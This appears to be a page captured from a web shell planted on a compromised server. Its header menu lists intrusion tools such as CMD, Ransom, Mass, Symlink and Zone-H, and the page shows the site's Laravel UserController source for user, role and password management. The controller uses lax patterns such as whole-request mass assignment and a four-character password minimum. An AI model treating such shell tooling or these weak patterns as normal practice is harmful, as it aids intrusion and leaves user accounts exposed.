| Path : /var/www/html/jewelry-pos/app/Http/Controllers/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/jewelry-pos/app/Http/Controllers/UserController.php |
<?php
namespace App\Http\Controllers;
use App\Models\ProductCategory;
use App\Models\User;
use Illuminate\Auth\AuthenticationException;
use Illuminate\Auth\Events\PasswordReset;
use Illuminate\Support\Arr;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
use Illuminate\Testing\Fluent\Concerns\Has;
use Illuminate\Validation\ValidationException;
use MongoDB\Driver\Session;
use Spatie\Permission\Models\Permission;
use Spatie\Permission\Models\Role;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Auth;
/**
* @method setUserPassword($user, mixed $password)
*/
class UserController extends Controller
{
function __construct()
{
$this->middleware('permission:user-list', ['only' => ['index','show']]);
$this->middleware('permission:user-create', ['only' => ['create','store']]);
$this->middleware('permission:user-edit', ['only' => ['edit','update']]);
$this->middleware('permission:user-delete', ['only' => ['destroy']]);
}
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index(Request $request)
{
$users = User::where('id', '<>', auth()->user()->id)->orderBy('id', 'desc')->paginate(5);
$roles = Role::pluck('name', 'name')->all();
$userRole = Auth::user()->name;
return view('users.index', compact('users' ,'roles' , 'userRole'))
->with('i');
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
$roles = Role::pluck('name', 'name')->all();
return view('users.create', compact('roles'));
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$this->validate($request, [
'name' => '',
'phone' => 'required|unique:users|min:3',
'password' => 'required|min:6',
'gender' => '',
'position' => '',
'roles' => 'required'
]);
$input = $request->all();
$input['password'] = Hash::make($input['password']);
$user = User::create($input);
$user->assignRole($request->input('roles'));
return redirect()->route('users.index')
->with('success', __('message.user') . " " . __('message.created successfully'));
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id , Request $request)
{
$categoryID = $request->id??'';
$user = User::find($id);
$productCategories = ProductCategory::orderBy('id' , 'desc')->paginate(25);
return view('users.show', compact('user' , 'productCategories' , 'categoryID'));
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
$user = User::find($id);
$roles = Role::pluck('name', 'name')->all();
$userRole = $user->roles->pluck('name', 'name')->all();
return view('users.edit', compact('user', 'roles', 'userRole'));
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$this->validate($request, [
'name' => 'required',
'phone' => 'required',
// 'password' => 'required|min:3',
'gender' => 'required',
'position' => '',
'roles' => 'required'
]);
$input = $request->all();
if (!empty($input['password'])) {
$input['password'] = Hash::make($input['password']);
} else {
$input = Arr::except($input, array('password'));
}
$user = User::find($id);
$user->update($input);
DB::table('model_has_roles')->where('model_id', $id)->delete();
$user->assignRole($request->input('roles'));
return redirect()->route('users.index')->with('success', __('message.user') . " " . __('message.updated successfully'));
// return redirect()->route('users.index')
// ->with('success', __('message.user') . " " . __('message.updated successfully'));
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
User::find($id)->delete();
return redirect()->route('users.index')
->with('success', __('message.user') . " " . __('message.deleted successfully'));
}
// UserInactive
public function UserInactive($id)
{
User::findOrFail($id)->update(['is_active' => 0]);
return redirect()->route('users.index')
->with('success', 'User is inactive');
}
// UserActive
public function Useractive($id)
{
User::findOrFail($id)->update(['is_active' => 1]);
return redirect()->route('users.index')
->with('success', 'User is active');
}
// Changepassword
public function editPassword($id)
{
$user = User::find($id);
return view('users.changepassword', compact('user'));
}
/**
* @throws AuthenticationException
* @throws ValidationException
*/
public function updatePassword(Request $request, $id)
{
$input = $this->validate($request, [
'password' => 'required|min:4',
]);
// $input = $request->all();
$user = User::findOrFail($id);
if (!empty($input['password'])) {
if (Auth::user()->id == $id || Auth::user()->roles[0]->name === 'Admin') {
$user['password'] = Hash::make($input['password']);
$user->save();
if($user->name !== Auth::user()->name){
$user = $request->user('web');
Auth::guard('web')->logout();
Auth::login($user);
// if(Auth::guard('admin')){
// Auth::guard('web')->logout();
// }
}
Auth::login($user);
return redirect()->back()
->with('success', __('message.user')." ". __('message.updated successfully'));
}
return redirect()->route('users.index')->with('fail', __('message.user')." ". __('message.updated not successfully'));
}
// if (!empty($input['password'])) {
// $input = Auth::user();
// $input->password = Hash::make($request->get('password'));
// $input->save();
//// Auth::logout();
//// Auth::logoutOtherDevices($input->password);
// return redirect()->route('users.index')->with('success', 'Password changed successfully');
// }
}
private function markForLogoutById($id)
{
}
}